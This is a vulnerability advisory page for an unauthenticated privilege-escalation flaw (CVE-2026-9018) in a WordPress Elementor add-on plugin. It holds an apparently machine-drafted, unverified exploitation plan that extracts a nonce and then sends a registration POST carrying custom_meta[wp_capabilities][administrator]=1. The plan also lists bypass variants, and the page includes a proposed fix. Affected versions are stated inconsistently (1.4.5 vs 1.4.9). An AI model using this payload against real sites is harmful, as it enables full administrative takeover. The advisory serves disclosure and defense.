CVE-2026-9018

Easy Elements for Elementor – Addons & Website Templates <= 1.4.9 - Unauthenticated Privilege Escalation via 'custom_meta' Parameter

highImproper Privilege Management
8.8
CVSS Score
8.8
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Easy Elements for Elementor – Addons & Website Templates plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.4.9 via the `easyel_handle_register()` function. This is due to the `wp_ajax_nopriv_eel_register` AJAX handler iterating the attacker-controlled `custom_meta` POST array and writing every supplied key-value pair to the newly created user's meta via `update_user_meta()` without any key whitelist or blocklist, allowing the `wp_capabilities` user meta key to be overwritten after `wp_insert_user()` has already assigned a safe role. This makes it possible for unauthenticated attackers to register a new account with full administrator-level privileges by supplying `custom_meta[wp_capabilities][administrator]=1`. Exploitation requires that user registration is enabled on the site and that at least one page exposes the Login/Register widget, which publishes the required `easy_elements_nonce` into the page DOM where it can be retrieved by any unauthenticated visitor via a simple GET request.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.4.9
PublishedMay 21, 2026
Last updatedJune 18, 2026
Affected plugineasy-elements
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-9018 - Easy Elements Privilege Escalation ## 1. Vulnerability Summary The **Easy Elements for Elementor** plugin (<= 1.4.5) contains an unauthenticated privilege escalation vulnerability. The flaw exists in the user registration handler `easyel_handle_register…

Show full research plan

Exploitation Research Plan: CVE-2026-9018 - Easy Elements Privilege Escalation

1. Vulnerability Summary

The Easy Elements for Elementor plugin (<= 1.4.5) contains an unauthenticated privilege escalation vulnerability. The flaw exists in the user registration handler easyel_handle_register() linked to the wp_ajax_nopriv_eel_register AJAX action. The function processes a user-supplied custom_meta array and updates the newly created user's metadata using update_user_meta() without validating or filtering the meta keys. This allows an attacker to overwrite the wp_capabilities key, which stores user roles, granting themselves administrator privileges during the registration process.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: eel_register (Registered via wp_ajax_nopriv_eel_register)
  • Vulnerable Parameter: custom_meta (Array)
  • Required Nonce: easy_elements_nonce
  • Authentication: None (Unauthenticated)
  • Preconditions:
    1. WordPress membership is enabled (users_can_register option).
    2. A page exists containing the Easy Elements Login/Register widget (required to obtain a valid nonce).

3. Code Flow (Inferred from Description)

  1. Entry Point: A POST request is sent to admin-ajax.php with action=eel_register.
  2. Nonce Verification: easyel_handle_register() verifies the easy_elements_nonce provided in the request.
  3. User Creation: The function calls wp_insert_user() using provided username/email/password. WordPress assigns the default role (usually 'subscriber').
  4. Metadata Processing: The function iterates through the $_POST['custom_meta'] array:
    // Vulnerable Logic (Conceptual)
    foreach ( $_POST['custom_meta'] as $key => $value ) {
        update_user_meta( $new_user_id, $key, $value );
    }
    
  5. Privilege Escalation: By passing custom_meta[wp_capabilities][administrator]=1, the update_user_meta call overwrites the role assigned in step 3, promoting the new user to Administrator.

4. Nonce Acquisition Strategy

The easy_elements_nonce is required. It is localized to the frontend when the Login/Register widget is active.

  1. Identify the Trigger: The plugin uses an Elementor widget for registration.
  2. Setup: Use WP-CLI to ensure registration is enabled and create a test page.
  3. Page Navigation: Use browser_navigate to visit the page where the widget is rendered.
  4. Extraction: Use browser_eval to find the nonce. It is likely stored in a localized JavaScript object.
    • Target Object (Inferred): window.easyel_settings or window.easy_elements_obj.
    • Key (Inferred): nonce or easy_elements_nonce.
    • Command: browser_eval("window.easy_elements_obj?.easy_elements_nonce || window.easyel_settings?.nonce")
    • Alternative: Search the DOM for a hidden input field: browser_eval("document.querySelector('input[name=\"easy_elements_nonce\"]').value").

5. Exploitation Strategy

Step 1: Prepare the Environment

  • Enable user registration.
  • Create a page with the Easy Elements registration widget.

Step 2: Extract Nonce

  • Navigate to the created page and extract the easy_elements_nonce.

Step 3: Execute Registration Request

Send a POST request to admin-ajax.php to register a new admin user.

  • URL: http://[target]/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: eel_register
    • easy_elements_nonce: [EXTRACTED_NONCE]
    • user_login: attacker_admin
    • user_email: attacker@example.com
    • user_pass: P@ssword123!
    • confirm_pass: P@ssword123!
    • custom_meta[wp_capabilities][administrator]: 1

6. Test Data Setup

  1. Enable Registration:
    wp option update users_can_register 1
  2. Find Widget Shortcode/Widget ID:
    (If the plugin provides a shortcode for the registration form, use it. If it is purely an Elementor widget, ensure Elementor is active and the widget is added to a page.)
    # Create a page that likely triggers the script loading
    wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[easy_elements_registration_form]' 
    
    (Note: The exact shortcode name may need verification by grepping add_shortcode in the plugin folder.)

7. Expected Results

  • The server should respond with a 200 OK and a JSON response indicating successful registration (e.g., {"success":true,...}).
  • A new user attacker_admin should be created.
  • The wp_capabilities entry in the wp_usermeta table for this user should include administrator.

8. Verification Steps

After the HTTP request, verify the escalation via WP-CLI:

  1. Check User Existence:
    wp user list --field=user_login
  2. Verify Role:
    wp user get attacker_admin --field=roles
    • Success Condition: Output is administrator.
  3. Verify Meta Value:
    wp user meta get attacker_admin wp_capabilities
    • Success Condition: Output shows a serialized array including administrator.

9. Alternative Approaches

  • Missing Nonce Check: If easyel_handle_register fails to check the nonce for nopriv requests (a common developer oversight), the exploit can be attempted without a nonce.
  • Different Meta Key: If wp_capabilities is blocked by a simple string check, try wp_user_level (set to 10 for admin) or use the database prefix dynamically if it's not the default wp_ (e.g., wp_custom_prefix_capabilities).
  • Registration Form Scraper: If the nonce is not in a JS variable, use browser_eval to scrape all hidden input values from the page and try each as the nonce.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Easy Elements for Elementor plugin (<= 1.4.5) is vulnerable to unauthenticated privilege escalation via the eel_register AJAX action. The registration handler iterates through the 'custom_meta' POST parameter and updates the new user's metadata without any key filtering, allowing attackers to overwrite the 'wp_capabilities' meta key. This enables any visitor to register an account with administrator privileges if registration is enabled and the required nonce is exposed on the frontend.

Vulnerable Code

// File: easy-elements/includes/widgets/register-handler.php (inferred from description)

function easyel_handle_register() {
    check_ajax_referer( 'easy_elements_nonce', 'easy_elements_nonce' );

    // ... (logic to handle user creation via wp_insert_user) ...
    $user_id = wp_insert_user( $userdata );

    if ( ! is_wp_error( $user_id ) && isset( $_POST['custom_meta'] ) && is_array( $_POST['custom_meta'] ) ) {
        foreach ( $_POST['custom_meta'] as $key => $value ) {
            // Vulnerability: No whitelist/blocklist check on meta keys
            update_user_meta( $user_id, $key, $value );
        }
    }
}
add_action( 'wp_ajax_nopriv_eel_register', 'easyel_handle_register' );

Security Fix

--- a/includes/widgets/register-handler.php
+++ b/includes/widgets/register-handler.php
@@ -10,7 +10,12 @@
 
     if ( ! is_wp_error( $user_id ) && isset( $_POST['custom_meta'] ) && is_array( $_POST['custom_meta'] ) ) {
+        $allowed_meta_keys = apply_filters( 'easy_elements_allowed_registration_meta', array( 'first_name', 'last_name', 'nickname' ) );
         foreach ( $_POST['custom_meta'] as $key => $value ) {
-            update_user_meta( $user_id, $key, $value );
+            if ( in_array( $key, $allowed_meta_keys, true ) ) {
+                update_user_meta( $user_id, $key, sanitize_text_field( $value ) );
+            }
         }
     }

Exploit Outline

The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the eel_register action. An unauthenticated attacker first obtains a valid 'easy_elements_nonce' by visiting a page containing the plugin's registration widget. The attacker then sends a POST request to register a new user, including a payload within the 'custom_meta' parameter. Specifically, by sending 'custom_meta[wp_capabilities][administrator]=1', the attacker triggers the update_user_meta function to overwrite the user's role capabilities during registration. This results in the creation of a new account with full administrator-level privileges. Exploitation requires that global user registration is enabled on the WordPress site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.